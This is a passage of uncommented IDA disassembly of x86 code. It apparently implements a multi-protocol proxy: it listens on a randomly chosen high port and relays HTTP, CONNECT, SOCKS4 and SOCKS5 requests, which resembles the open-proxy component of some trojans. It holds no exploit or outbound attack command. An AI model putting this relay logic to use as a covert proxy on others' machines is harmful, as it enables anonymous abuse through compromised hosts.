		push	esi
		call	sub_402CB8
		add	esp, 4
		mov	ecx, 0Fh
		xor	eax, eax
		mov	edi, offset dword_5172C0
		rep stosd
		mov	ecx, 4356Ch
		mov	edi, offset dword_409D00
		rep stosd
		mov	esi, dword_40804C


loc_401A14:				; CODE XREF: sub_4017F0+25Ej
		call	sub_402CC2
		cdq
		mov	ecx, 0FBFDh
		idiv	ecx
		add	edx, 401h
		mov	word_409CFC, dx
		push	3E8h
		call	esi
		xor	edx, edx
		mov	dx, word_409CFC
		push	edx
		push	offset dword_5172C0
		call	sub_4011E0
		add	esp, 8
		test	eax, eax
		jnz	short loc_401A14
		lea	eax, [ebp+var_1C4]
		push	eax
		push	0
		push	0
		push	offset sub_4016E0
		push	0
		push	0
		call	dword_408058


loc_401A6A:				; CODE XREF: sub_4017F0+3D4j
		xor	edi, edi
		mov	[ebp+var_10C0],	edi
		mov	[ebp+var_FBC], edi
		mov	eax, dword_5172C8
		mov	[ebp+var_10BC],	eax
		mov	ebx, 1
		mov	[ebp+var_10C0],	ebx
		mov	esi, eax
		mov	[ebp+var_1BC], esi
		xor	edx, edx


loc_401A98:				; CODE XREF: sub_4017F0+311j
		mov	[ebp+var_1B8], edx
		cmp	edx, 47D4h
		jnb	short loc_401B03
		lea	eax, [edx+edx*2]
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, dword_409D08[eax]
		test	ecx, ecx
		jle	short loc_401B00
		cmp	ebx, 40h
		jnb	short loc_401AD2
		mov	[ebp+ebx*4+var_10BC], ecx
		mov	ebx, [ebp+var_10C0]
		inc	ebx
		mov	[ebp+var_10C0],	ebx


loc_401AD2:				; CODE XREF: sub_4017F0+2CCj
		cmp	dword_409D1C[eax], 0
		jz	short loc_401AF4
		cmp	edi, 40h
		jnb	short loc_401AF4
		mov	[ebp+edi*4+var_FB8], ecx
		mov	edi, [ebp+var_FBC]
		inc	edi
		mov	[ebp+var_FBC], edi


loc_401AF4:				; CODE XREF: sub_4017F0+2E9j
					; sub_4017F0+2EEj
		cmp	ecx, esi
		jbe	short loc_401B00
		mov	esi, ecx
		mov	[ebp+var_1BC], esi


loc_401B00:				; CODE XREF: sub_4017F0+2C7j
					; sub_4017F0+306j
		inc	edx
		jmp	short loc_401A98
; ---------------------------------------------------------------------------


loc_401B03:				; CODE XREF: sub_4017F0+2B4j
		xor	ecx, ecx
		mov	[ebp+var_EB8], ecx
		mov	[ebp+var_EB4], ecx
		mov	[ebp+var_EB8], 2
		mov	[ebp+var_EB4], ecx
		lea	edx, [ebp+var_EB8]
		push	edx
		push	ecx
		lea	eax, [ebp+var_FBC]
		push	eax
		lea	ecx, [ebp+var_10C0]
		push	ecx
		inc	esi
		push	esi
		call	sub_402872
		mov	ecx, 2EEh
		xor	eax, eax
		lea	edi, [ebp+var_EB0]
		rep stosd
		stosb
		lea	edx, [ebp+var_10C0]
		push	edx
		mov	eax, dword_5172C8
		push	eax
		call	sub_40286C
		test	eax, eax
		jz	short loc_401BB7
		xor	ebx, ebx


loc_401B66:				; CODE XREF: sub_4017F0+3C5j
		mov	[ebp+var_1B8], ebx
		cmp	ebx, 47D4h
		jnb	short loc_401BB7
		lea	eax, [ebx+ebx*2]
		lea	esi, [eax+eax*4]
		shl	esi, 2
		mov	eax, dword_409D08[esi]
		test	eax, eax
		jnz	short loc_401BB4
		lea	edi, dword_409D00[esi]
		push	edi
		push	offset dword_5172C0
		call	sub_401160
		add	esp, 8
		test	eax, eax
		jnz	short loc_401BB7
		push	eax
		call	sub_402A3C
		add	esp, 4
		mov	dword_409D18[esi], eax
		mov	dword ptr [edi], 1


loc_401BB4:				; CODE XREF: sub_4017F0+395j
		inc	ebx
		jmp	short loc_401B66
; ---------------------------------------------------------------------------


loc_401BB7:				; CODE XREF: sub_4017F0+372j
					; sub_4017F0+382j ...
		xor	eax, eax
		mov	[ebp+var_1B8], eax


loc_401BBF:				; CODE XREF: sub_4017F0+4FEj
					; sub_4017F0+56Aj ...
		cmp	eax, 47D4h
		jnb	loc_401A6A
		lea	esi, [eax+eax*2]
		lea	esi, [esi+esi*4]
		shl	esi, 2
		mov	eax, dword_409D08[esi]
		test	eax, eax
		jz	loc_402817
		mov	[ebp+var_11C4],	0
		push	0
		call	sub_402A3C
		add	esp, 4
		sub	eax, dword_409D18[esi]
		cmp	eax, 1Eh
		jb	short loc_401C27
		lea	edi, dword_409D00[esi]
		cmp	dword ptr [edi], 3
		jz	short loc_401C27
		mov	eax, dword_409D38[esi]
		test	eax, eax
		jz	short loc_401C1E
		push	eax
		call	sub_401510
		add	esp, 4


loc_401C1E:				; CODE XREF: sub_4017F0+423j
		push	edi
		call	sub_401510
		add	esp, 4


loc_401C27:				; CODE XREF: sub_4017F0+40Ej
					; sub_4017F0+419j
		push	0
		call	sub_402A3C
		add	esp, 4
		sub	eax, dword_409D18[esi]
		cmp	eax, 78h
		jb	short loc_401C5E
		mov	eax, dword_409D38[esi]
		test	eax, eax
		jz	short loc_401C4F
		push	eax
		call	sub_401510
		add	esp, 4


loc_401C4F:				; CODE XREF: sub_4017F0+454j
		lea	ecx, dword_409D00[esi]
		push	ecx
		call	sub_401510
		add	esp, 4


loc_401C5E:				; CODE XREF: sub_4017F0+44Aj
		mov	eax, dword_409D1C[esi]
		test	eax, eax
		jz	short loc_401C95
		lea	edx, [ebp+var_FBC]
		push	edx
		mov	eax, dword_409D08[esi]
		push	eax
		call	sub_40286C
		test	eax, eax
		jz	short loc_401C95
		push	0
		push	offset dword_409A6C
		lea	ecx, dword_409D00[esi]
		push	ecx
		call	sub_4012A0
		add	esp, 0Ch


loc_401C95:				; CODE XREF: sub_4017F0+476j
					; sub_4017F0+48Dj
		lea	ebx, dword_409D00[esi]
		cmp	dword ptr [ebx], 1
		jnz	loc_402402
		lea	edx, [ebp+var_10C0]
		push	edx
		mov	eax, dword_409D08[esi]
		push	eax
		call	sub_40286C
		test	eax, eax
		jz	loc_402402
		push	0BB8h
		lea	ecx, [ebp+var_EB0]
		push	ecx
		push	ebx
		call	sub_4014A0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401CF3
		push	ebx
		call	sub_401510
		add	esp, 4
		mov	eax, [ebp+var_1B8]
		inc	eax
		mov	[ebp+var_1B8], eax
		jmp	loc_401BBF
; ---------------------------------------------------------------------------


loc_401CF3:				; CODE XREF: sub_4017F0+4E6j
		mov	al, byte ptr [ebp+var_EB0]
		cmp	al, 47h
		jz	short loc_401D05
		cmp	al, 50h
		jnz	loc_402003


loc_401D05:				; CODE XREF: sub_4017F0+50Bj
		xor	eax, eax
		mov	[ebp+var_22D8],	eax
		mov	[ebp+var_12D0],	eax
		lea	edi, [ebp+var_EB0]


loc_401D19:				; CODE XREF: sub_4017F0+53Aj
		mov	[ebp+var_11C8],	edi
		mov	al, [edi]
		test	al, al
		jz	short loc_401D2C
		cmp	al, 20h
		jz	short loc_401D2C
		inc	edi
		jmp	short loc_401D19
; ---------------------------------------------------------------------------


loc_401D2C:				; CODE XREF: sub_4017F0+533j
					; sub_4017F0+537j
		cmp	byte ptr [edi],	20h
		jz	short loc_401D5F


loc_401D31:				; CODE XREF: sub_4017F0+60Fj
					; sub_4017F0+8BDj
		mov	eax, [ebp+var_1B8]
		lea	eax, [eax+eax*2]
		lea	edx, [eax+eax*4]
		lea	eax, ds:409D00h[edx*4]
		push	eax
		call	sub_401510
		add	esp, 4
		mov	eax, [ebp+var_1B8]
		inc	eax
		mov	[ebp+var_1B8], eax
		jmp	loc_401BBF
; ---------------------------------------------------------------------------


loc_401D5F:				; CODE XREF: sub_4017F0+53Fj
		inc	edi
		mov	[ebp+var_11C8],	edi
		cmp	byte ptr [edi],	0
		jnz	short loc_401D99


loc_401D6B:				; CODE XREF: sub_4017F0+917j
		mov	eax, [ebp+var_1B8]
		lea	eax, [eax+eax*2]
		lea	ecx, [eax+eax*4]
		lea	edx, ds:409D00h[ecx*4]
		push	edx
		call	sub_401510
		add	esp, 4
		mov	eax, [ebp+var_1B8]
		inc	eax
		mov	[ebp+var_1B8], eax
		jmp	loc_401BBF
; ---------------------------------------------------------------------------


loc_401D99:				; CODE XREF: sub_4017F0+579j
		push	7
		push	offset aHttp	; "http://"
		push	edi
		call	sub_402C80
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_401DB6
		add	edi, 7
		mov	[ebp+var_11C8],	edi


loc_401DB6:				; CODE XREF: sub_4017F0+5BBj
		mov	esi, edi
		mov	[ebp+var_22D4],	esi


loc_401DBE:				; CODE XREF: sub_4017F0+5E3j
		mov	al, [edi]
		test	al, al
		jz	short loc_401DD5
		cmp	al, 2Fh
		jz	short loc_401DD5
		cmp	al, 20h
		jz	short loc_401DD5
		inc	edi
		mov	[ebp+var_11C8],	edi
		jmp	short loc_401DBE
; ---------------------------------------------------------------------------


loc_401DD5:				; CODE XREF: sub_4017F0+5D2j
					; sub_4017F0+5D6j ...
		mov	al, [edi]
		cmp	al, 20h
		jz	short loc_401DED
		cmp	al, 2Fh
		jz	short loc_401DED
		mov	eax, [ebp+var_1B8]
		lea	eax, [eax+eax*2]
		jmp	loc_402243
; ---------------------------------------------------------------------------


loc_401DED:				; CODE XREF: sub_4017F0+5E9j
					; sub_4017F0+5EDj
		mov	ebx, edi
		mov	[ebp+var_12CC],	ebx
		mov	edx, edi
		sub	edx, esi
		cmp	edx, 0FFh
		ja	loc_401D31
		mov	ecx, 40h
		xor	eax, eax
		lea	edi, [ebp+var_12C8]
		rep stosd
		mov	ecx, edx
		lea	edi, [ebp+var_12C8]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	esi, [ebp+var_12C8]


loc_401E2E:				; CODE XREF: sub_4017F0+64Fj
		mov	[ebp+var_11C8],	esi
		mov	al, [esi]
		test	al, al
		jz	short loc_401E41
		cmp	al, 3Ah
		jz	short loc_401E41
		inc	esi
		jmp	short loc_401E2E
; ---------------------------------------------------------------------------


loc_401E41:				; CODE XREF: sub_4017F0+648j
					; sub_4017F0+64Cj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_401E5B
		lea	eax, [esi+1]
		push	eax
		call	sub_402BE9
		add	esp, 4
		mov	[ebp+var_22D8],	eax
		mov	byte ptr [esi],	0


loc_401E5B:				; CODE XREF: sub_4017F0+654j
		mov	eax, [ebp+var_22D8]
		test	eax, eax
		jnz	short loc_401E6F
		mov	[ebp+var_22D8],	50h


loc_401E6F:				; CODE XREF: sub_4017F0+673j
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [ebp+var_22D0]
		rep stosd
		lea	esi, [ebp+var_EB0]


loc_401E84:				; CODE XREF: sub_4017F0+6BDj
		mov	[ebp+var_11C8],	esi
		mov	dl, [esi]
		test	dl, dl
		jz	short loc_401EAF
		cmp	dl, 20h
		jz	short loc_401EAF
		lea	edi, [ebp+var_22D0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+ecx+var_22D0], dl
		inc	esi
		jmp	short loc_401E84
; ---------------------------------------------------------------------------


loc_401EAF:				; CODE XREF: sub_4017F0+69Ej
					; sub_4017F0+6A3j
		lea	edi, [ebp+var_22D0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+ecx+var_22D0], 20h
		lea	edx, [ebp+var_22D0]
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		dec	edi
		mov	ecx, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	[ebp+var_12D0],	eax


loc_401EF8:				; CODE XREF: sub_4017F0+7CFj
		mov	[ebp+var_1C], eax
		cmp	eax, 47D4h
		jnb	loc_401FC4
		lea	esi, [eax+eax*2]
		lea	esi, [esi+esi*4]
		shl	esi, 2
		mov	ecx, dword_409D08[esi]
		test	ecx, ecx
		jnz	loc_401FBE
		lea	edi, dword_409D00[esi]
		mov	eax, [ebp+var_22D8]
		push	eax
		lea	ecx, [ebp+var_12C8]
		push	ecx
		push	edi
		call	sub_401080
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401F66
		mov	ebx, [ebp+var_1B8]
		lea	eax, [ebx+ebx*2]
		lea	edx, [eax+eax*4]
		lea	eax, ds:409D00h[edx*4]
		push	eax
		call	sub_401510
		add	esp, 4
		mov	[ebp+var_12D0],	1
		jmp	short loc_401FCA
; ---------------------------------------------------------------------------


loc_401F66:				; CODE XREF: sub_4017F0+74Cj
		mov	dword ptr [edi], 2
		lea	ecx, [ebp+var_22D0]
		push	ecx
		call	sub_4077C5
		mov	dword_409D20[esi], eax
		push	0
		call	sub_402A3C
		mov	dword_409D14[esi], eax
		push	0
		call	sub_402A3C
		add	esp, 0Ch
		mov	dword_409D18[esi], eax
		mov	ebx, [ebp+var_1B8]
		lea	eax, [ebx+ebx*2]
		lea	eax, [eax+eax*4]
		shl	eax, 2
		lea	edx, dword_409D00[eax]
		mov	dword_409D38[esi], edx
		mov	dword_409D38[eax], edi
		jmp	short loc_401FCA
; ---------------------------------------------------------------------------


loc_401FBE:				; CODE XREF: sub_4017F0+727j
		inc	eax
		jmp	loc_401EF8
; ---------------------------------------------------------------------------


loc_401FC4:				; CODE XREF: sub_4017F0+710j
		mov	ebx, [ebp+var_1B8]


loc_401FCA:				; CODE XREF: sub_4017F0+774j
					; sub_4017F0+7CCj
		mov	eax, [ebp+var_12D0]
		test	eax, eax
		jnz	loc_402240
		mov	eax, [ebp+var_1B8]
		lea	esi, [eax+eax*2]
		lea	esi, [esi+esi*4]
		shl	esi, 2
		lea	ebx, dword_409D00[esi]
		mov	dword ptr [ebx], 29Ah
		mov	dword_409D04[esi], 6
		mov	al, byte ptr [ebp+var_EB0]


loc_402003:				; CODE XREF: sub_4017F0+50Fj
		cmp	al, 43h
		jnz	loc_402293
		mov	[ebp+var_22E8],	0


loc_402015:				; CODE XREF: sub_4017F0+880j
		lea	edi, [ebp+var_EB0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		jz	short loc_402072
		lea	edi, [ebp+var_EB0]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	byte ptr [ebp+ecx+var_EB4+3], 0Ah
		jz	short loc_402059
		lea	edi, [ebp+var_EB0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	byte ptr [ebp+ecx+var_EB4+3], 0Dh
		jnz	short loc_402072


loc_402059:				; CODE XREF: sub_4017F0+84Dj
		lea	edi, [ebp+var_EB0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	byte ptr [ebp+ecx+var_EB4+3], al
		jmp	short loc_402015
; ---------------------------------------------------------------------------


loc_402072:				; CODE XREF: sub_4017F0+835j
					; sub_4017F0+867j
		xor	edx, edx
		mov	[ebp+var_22E4],	edx
		xor	esi, esi
		mov	[ebp+var_22E0],	esi


loc_402082:				; CODE XREF: sub_4017F0+90Aj
		lea	edi, [ebp+var_EB0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jnb	short loc_4020AB
		cmp	byte ptr [ebp+edx+var_EB0], 20h
		jnz	short loc_4020F3
		mov	esi, 1
		mov	[ebp+var_22E0],	esi


loc_4020AB:				; CODE XREF: sub_4017F0+8A4j
		test	esi, esi
		jz	loc_401D31
		lea	ebx, [ebp+edx+var_EB0+1]
		mov	[ebp+var_22DC],	ebx
		xor	edx, edx
		mov	[ebp+var_22E4],	edx
		xor	esi, esi
		mov	[ebp+var_22E0],	esi


loc_4020D0:				; CODE XREF: sub_4017F0+913j
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jnb	short loc_402105
		cmp	byte ptr [ebx+edx], 20h
		jnz	short loc_4020FC
		mov	esi, 1
		mov	[ebp+var_22E0],	esi
		jmp	short loc_402105
; ---------------------------------------------------------------------------


loc_4020F3:				; CODE XREF: sub_4017F0+8AEj
		inc	edx
		mov	[ebp+var_22E4],	edx
		jmp	short loc_402082
; ---------------------------------------------------------------------------


loc_4020FC:				; CODE XREF: sub_4017F0+8F4j
		inc	edx
		mov	[ebp+var_22E4],	edx
		jmp	short loc_4020D0
; ---------------------------------------------------------------------------


loc_402105:				; CODE XREF: sub_4017F0+8EEj
					; sub_4017F0+901j
		test	esi, esi
		jz	loc_401D6B
		mov	byte ptr [ebx+edx], 0
		xor	esi, esi
		mov	[ebp+var_22E4],	esi
		xor	edx, edx
		mov	[ebp+var_22E0],	edx


loc_402121:				; CODE XREF: sub_4017F0+96Bj
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	esi, ecx
		jnb	short loc_402142
		cmp	byte ptr [ebx+esi], 3Ah
		jnz	short loc_402154
		mov	edx, 1
		mov	[ebp+var_22E0],	edx


loc_402142:				; CODE XREF: sub_4017F0+93Fj
		test	edx, edx
		jnz	short loc_40215D
		mov	eax, [ebp+var_1B8]
		lea	eax, [eax+eax*2]
		jmp	loc_402243
; ---------------------------------------------------------------------------


loc_402154:				; CODE XREF: sub_4017F0+945j
		inc	esi
		mov	[ebp+var_22E4],	esi
		jmp	short loc_402121
; ---------------------------------------------------------------------------


loc_40215D:				; CODE XREF: sub_4017F0+954j
		lea	edx, [ebx+esi+1]
		push	edx
		call	sub_402BE9
		add	esp, 4
		mov	[ebp+var_22E8],	eax
		mov	byte ptr [ebx+esi], 0
		xor	ecx, ecx
		mov	[ebp+var_22E0],	ecx


loc_40217C:				; CODE XREF: sub_4017F0+A3Bj
		mov	[ebp+var_1C], ecx
		cmp	ecx, 47D4h
		jnb	loc_402230
		lea	esi, [ecx+ecx*2]
		lea	esi, [esi+esi*4]
		shl	esi, 2
		mov	edx, dword_409D08[esi]
		test	edx, edx
		jnz	loc_40222A
		lea	edi, dword_409D00[esi]
		and	eax, 0FFFFh
		push	eax
		push	ebx
		push	edi
		call	sub_401080
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4021E4
		mov	ebx, [ebp+var_1B8]
		lea	eax, [ebx+ebx*2]
		lea	eax, [eax+eax*4]
		lea	ecx, ds:409D00h[eax*4]
		push	ecx
		call	sub_401510
		add	esp, 4
		mov	[ebp+var_22E0],	1
		jmp	short loc_402236
; ---------------------------------------------------------------------------


loc_4021E4:				; CODE XREF: sub_4017F0+9CAj
		mov	dword ptr [edi], 2
		push	0
		call	sub_402A3C
		mov	dword_409D14[esi], eax
		push	0
		call	sub_402A3C
		add	esp, 8
		mov	dword_409D18[esi], eax
		mov	ebx, [ebp+var_1B8]
		lea	eax, [ebx+ebx*2]
		lea	eax, [eax+eax*4]
		shl	eax, 2
		lea	edx, dword_409D00[eax]
		mov	dword_409D38[esi], edx
		mov	dword_409D38[eax], edi
		jmp	short loc_402236
; ---------------------------------------------------------------------------


loc_40222A:				; CODE XREF: sub_4017F0+9ACj
		inc	ecx
		jmp	loc_40217C
; ---------------------------------------------------------------------------


loc_402230:				; CODE XREF: sub_4017F0+995j
		mov	ebx, [ebp+var_1B8]


loc_402236:				; CODE XREF: sub_4017F0+9F2j
					; sub_4017F0+A38j
		mov	eax, [ebp+var_22E0]
		test	eax, eax
		jz	short loc_402268


loc_402240:				; CODE XREF: sub_4017F0+7E2j
		lea	eax, [ebx+ebx*2]


loc_402243:				; CODE XREF: sub_4017F0+5F8j
					; sub_4017F0+95Fj
		lea	eax, [eax+eax*4]
		lea	ecx, ds:409D00h[eax*4]
		push	ecx
		call	sub_401510
		add	esp, 4
		mov	eax, [ebp+var_1B8]
		inc	eax
		mov	[ebp+var_1B8], eax
		jmp	loc_401BBF
; ---------------------------------------------------------------------------


loc_402268:				; CODE XREF: sub_4017F0+A4Ej
		mov	eax, [ebp+var_1B8]
		lea	esi, [eax+eax*2]
		lea	esi, [esi+esi*4]
		shl	esi, 2
		lea	ebx, dword_409D00[esi]
		mov	dword ptr [ebx], 29Ah
		mov	dword_409D04[esi], 3
		mov	al, byte ptr [ebp+var_EB0]


loc_402293:				; CODE XREF: sub_4017F0+815j
		cmp	al, 5
		jnz	short loc_4022CC
		mov	byte ptr [ebp+var_EB0],	al
		mov	byte ptr [ebp+var_EB0+1], 0
		push	2
		lea	edx, [ebp+var_EB0]
		push	edx
		push	ebx
		call	sub_4012A0
		add	esp, 0Ch
		mov	dword ptr [ebx], 0Bh
		mov	dword_409D04[esi], 5
		mov	al, byte ptr [ebp+var_EB0]


loc_4022CC:				; CODE XREF: sub_4017F0+AA5j
		cmp	al, 4
		jnz	loc_402817
		mov	al, byte ptr [ebp+var_EB0+2]
		mov	byte ptr [ebp+var_11C4+1], al
		mov	cl, byte ptr [ebp+var_EB0+3]
		mov	byte ptr [ebp+var_11C4], cl
		mov	ecx, 40h
		xor	eax, eax
		lea	edi, [ebp+var_11C0]
		rep stosd
		mov	edx, [ebp+var_EA9]
		and	edx, 0FFh
		push	edx
		mov	eax, [ebp-0EAAh]
		and	eax, 0FFh
		push	eax
		mov	ecx, [ebp-0EABh]
		and	ecx, 0FFh
		push	ecx
		mov	edx, [ebp-0EACh]
		and	edx, 0FFh
		push	edx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		lea	eax, [ebp+var_11C0]
		push	eax
		call	sub_402B97
		add	esp, 18h
		xor	eax, eax


loc_402344:				; CODE XREF: sub_4017F0+BD8j
		mov	[ebp+var_1C], eax
		cmp	eax, 47D4h
		jnb	short loc_4023CD
		lea	esi, [eax+eax*2]
		lea	esi, [esi+esi*4]
		shl	esi, 2
		mov	ecx, dword_409D08[esi]
		test	ecx, ecx
		jnz	short loc_4023C7
		lea	edi, dword_409D00[esi]
		mov	ecx, [ebp+var_11C4]
		and	ecx, 0FFFFh
		push	ecx
		lea	edx, [ebp+var_11C0]
		push	edx
		push	edi
		call	sub_401080
		mov	dword ptr [edi], 2
		push	0
		call	sub_402A3C
		mov	dword_409D14[esi], eax
		push	0
		call	sub_402A3C
		add	esp, 14h
		mov	dword_409D18[esi], eax
		mov	ecx, [ebp+var_1B8]
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		shl	eax, 2
		lea	edx, dword_409D00[eax]
		mov	dword_409D38[esi], edx
		mov	dword_409D38[eax], edi
		jmp	short loc_4023D3
; ---------------------------------------------------------------------------


loc_4023C7:				; CODE XREF: sub_4017F0+B6Fj
		inc	eax
		jmp	loc_402344
; ---------------------------------------------------------------------------


loc_4023CD:				; CODE XREF: sub_4017F0+B5Cj
		mov	ecx, [ebp+var_1B8]


loc_4023D3:				; CODE XREF: sub_4017F0+BD5j
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	dword_409D00[eax], 29Ah
		mov	dword_409D04[eax], 4
		mov	eax, [ebp+var_1B8]
		inc	eax
		mov	[ebp+var_1B8], eax
		jmp	loc_401BBF
; ---------------------------------------------------------------------------


loc_402402:				; CODE XREF: sub_4017F0+4AEj
					; sub_4017F0+4C9j
		cmp	dword ptr [ebx], 0Bh
		jnz	loc_4025C9
		lea	eax, [ebp+var_10C0]
		push	eax
		mov	ecx, dword_409D08[esi]
		push	ecx
		call	sub_40286C
		test	eax, eax
		jz	loc_4025C9
		push	0BB8h
		lea	edx, [ebp+var_EB0]
		push	edx
		push	ebx
		call	sub_4014A0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40245A
		push	ebx
		call	sub_401510
		add	esp, 4
		mov	eax, [ebp+var_1B8]
		inc	eax
		mov	[ebp+var_1B8], eax
		jmp	loc_401BBF
; ---------------------------------------------------------------------------


loc_40245A:				; CODE XREF: sub_4017F0+C4Dj
		mov	ecx, 40h
		xor	eax, eax
		lea	edi, [ebp+var_11C0]
		rep stosd
		mov	al, byte ptr [ebp+var_EB0+3]
		cmp	al, 1
		jnz	short loc_4024D3
		mov	eax, [ebp+var_EA9]
		and	eax, 0FFh
		push	eax
		mov	ecx, [ebp-0EAAh]
		and	ecx, 0FFh
		push	ecx
		mov	edx, [ebp-0EABh]
		and	edx, 0FFh
		push	edx
		mov	eax, [ebp-0EACh]
		and	eax, 0FFh
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		lea	ecx, [ebp+var_11C0]
		push	ecx
		call	sub_402B97
		add	esp, 18h
		mov	dl, byte ptr [ebp+var_EA9+1]
		mov	byte ptr [ebp+var_11C4+1], dl
		mov	al, byte ptr [ebp+var_EA9+2]
		mov	byte ptr [ebp+var_11C4], al
		jmp	short loc_402518
; ---------------------------------------------------------------------------


loc_4024D3:				; CODE XREF: sub_4017F0+C81j
		cmp	al, 3
		jnz	short loc_402518
		mov	eax, [ebp-0EACh]
		and	eax, 0FFh
		mov	ecx, eax
		lea	esi, [ebp+var_EAB]
		lea	edi, [ebp+var_11C0]
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	cl, [ebp+eax+var_EAB]
		mov	byte ptr [ebp+var_11C4+1], cl
		mov	dl, [ebp+eax+var_EAA]
		mov	byte ptr [ebp+var_11C4], dl


loc_402518:				; CODE XREF: sub_4017F0+CE1j
					; sub_4017F0+CE5j
		mov	eax, [ebp+var_11C4]
		xor	ecx, ecx


loc_402520:				; CODE XREF: sub_4017F0+DAEj
		mov	[ebp+var_1C], ecx
		cmp	ecx, 47D4h
		jnb	short loc_4025A0
		lea	esi, [ecx+ecx*2]
		lea	esi, [esi+esi*4]
		shl	esi, 2
		mov	edx, dword_409D08[esi]
		test	edx, edx
		jnz	short loc_40259D
		lea	edi, dword_409D00[esi]
		and	eax, 0FFFFh
		push	eax
		lea	eax, [ebp+var_11C0]
		push	eax
		push	edi
		call	sub_401080
		mov	dword ptr [edi], 2
		push	0
		call	sub_402A3C
		mov	dword_409D14[esi], eax
		push	0
		call	sub_402A3C
		add	esp, 14h
		mov	dword_409D18[esi], eax
		mov	ecx, [ebp+var_1B8]
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		shl	eax, 2
		lea	edx, dword_409D00[eax]
		mov	dword_409D38[esi], edx
		mov	dword_409D38[eax], edi
		jmp	short loc_4025A6
; ---------------------------------------------------------------------------


loc_40259D:				; CODE XREF: sub_4017F0+D4Cj
		inc	ecx
		jmp	short loc_402520
; ---------------------------------------------------------------------------


loc_4025A0:				; CODE XREF: sub_4017F0+D39j
		mov	ecx, [ebp+var_1B8]


loc_4025A6:				; CODE XREF: sub_4017F0+DABj
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		mov	dword_409D00[eax*4], 29Ah
		mov	eax, [ebp+var_1B8]
		inc	eax
		mov	[ebp+var_1B8], eax
		jmp	loc_401BBF
; ---------------------------------------------------------------------------


loc_4025C9:				; CODE XREF: sub_4017F0+C15j
					; sub_4017F0+C30j
		cmp	dword ptr [ebx], 2
		jnz	loc_40277C
		push	0
		call	sub_402A3C
		add	esp, 4
		sub	eax, dword_409D14[esi]
		cmp	eax, 1
		jb	loc_40277C
		push	ebx
		call	sub_401000
		mov	edi, eax
		mov	[ebp+var_1C], edi
		push	0
		call	sub_402A3C
		add	esp, 8
		mov	dword_409D14[esi], eax
		cmp	edi, 2
		jz	loc_4026EC
		push	0
		call	sub_402A3C
		add	esp, 4
		sub	eax, dword_409D18[esi]
		cmp	eax, 3Ch
		jnb	loc_4026EC
		test	edi, edi
		jnz	loc_402817
		xor	ecx, ecx
		mov	[ebp+var_EB0], ecx
		mov	[ebp-0EACh], ecx
		mov	byte ptr [ebp+var_EA9+1], cl
		mov	eax, dword_409D38[esi]
		mov	ecx, [eax+4]
		cmp	ecx, 4
		jnz	short loc_402665
		mov	byte ptr [ebp+var_EB0+1], 5Ah
		push	8
		lea	edx, [ebp+var_EB0]
		push	edx
		push	eax
		jmp	short loc_4026C0
; ---------------------------------------------------------------------------


loc_402665:				; CODE XREF: sub_4017F0+E60j
		cmp	ecx, 3
		jnz	short loc_40267A
		push	offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
		push	eax
		call	sub_4013E0
		add	esp, 8
		jmp	short loc_4026C8
; ---------------------------------------------------------------------------


loc_40267A:				; CODE XREF: sub_4017F0+E78j
		cmp	ecx, 5
		jnz	short loc_4026A6
		mov	byte ptr [ebp+var_EB0],	cl
		mov	byte ptr [ebp+var_EB0+1], 0
		mov	byte ptr [ebp+var_EB0+2], 0
		mov	byte ptr [ebp+var_EB0+3], 1
		push	9
		lea	ecx, [ebp+var_EB0]
		push	ecx
		push	eax
		jmp	short loc_4026C0
; ---------------------------------------------------------------------------


loc_4026A6:				; CODE XREF: sub_4017F0+E8Dj
		cmp	ecx, 6
		jnz	short loc_4026C8
		mov	edx, dword_409D20[esi]
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	ebx


loc_4026C0:				; CODE XREF: sub_4017F0+E73j
					; sub_4017F0+EB4j
		call	sub_4012A0
		add	esp, 0Ch


loc_4026C8:				; CODE XREF: sub_4017F0+E88j
					; sub_4017F0+EB9j
		mov	dword ptr [ebx], 3
		mov	edx, dword_409D38[esi]
		mov	dword ptr [edx], 3
		mov	eax, [ebp+var_1B8]
		inc	eax
		mov	[ebp+var_1B8], eax
